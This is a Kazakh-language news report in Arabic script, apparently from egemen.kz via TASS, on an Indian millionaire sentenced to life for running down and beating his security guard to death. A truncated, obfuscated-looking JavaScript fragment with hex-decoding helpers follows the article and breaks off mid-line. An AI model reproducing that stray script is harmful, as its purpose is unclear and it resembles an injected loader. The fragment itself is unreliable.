ءۇندىستاندا ميلليونەر ءومىرىنىڭ سوڭىنا دەيىن تۇرمەگە قامالدى

استانا. 21 قاڭتار. ءۇندىستاندا موحاممەد نيشام ەسىمدى ميلليونەر قول استىنداعى كۇزەتشىسىن ءولتىردى دەگەن ايىپپەن ءومىرىنىڭ سوڭىنا دەيىن تۇرمەگە قامالدى. بۇل تۋرالى تاسس اقپارات اگەنتتىگىنە سىلتەمە جاساعان egemen.kz ءتىلشىسى حابارلادى. ءۇندىستاننىڭ داۋلەتتى كاسىپكەرى, بىرنەشە تەمەكى جانە قۇرىلىس كومپانيالارىنىڭ يەسى موحاممەد نيشام كۇزەتشىسىنىڭ سىلبىر ارەكەتىنە اشۋلانىپ, دجيپ كولىگىمەن باسىپ وتكەن. پوليتسيا قىزمەتكەرلەرىنىڭ ايتۋىنشا, ءتۇن ىشىندە كەلگەن قوجايىنىنا دەر كەزىندە قاقپا ەسىگىن اشىپ, شيراق قيمىلداماعانى سەبەپتى وسىنداي قادامعا بارعان. يەسىنىڭ ماقساتىن تۇسىنگەن كۇزەتشىسى قاشىپ قۇتىلماق بولادى. الايدا, Hummer كولىگىمەن قۋىپ جەتكەن كاسىپكەر ارام ويىن جۇزەگە اسىرادى. اشۋىن تارقاتا الماعان ول اۆتوكولىگىنەن تۇسە سالا تەمىرمەن قىزمەتشىسىن اياماي سوققىعا جىعادى. زارداپ شەككەن 50 جاستاعى ەر ادام اۋرۋحانانىڭ جان ساقتاۋ بولىمىندە جۇرەك سوعىسىنىڭ توقتاۋىنا بايلانىستى كوز جۇمدى. ايان ءابدۋالي. دەرەك: تاسس. سۋرەت: pastinfo.am. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "egemen.kz"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e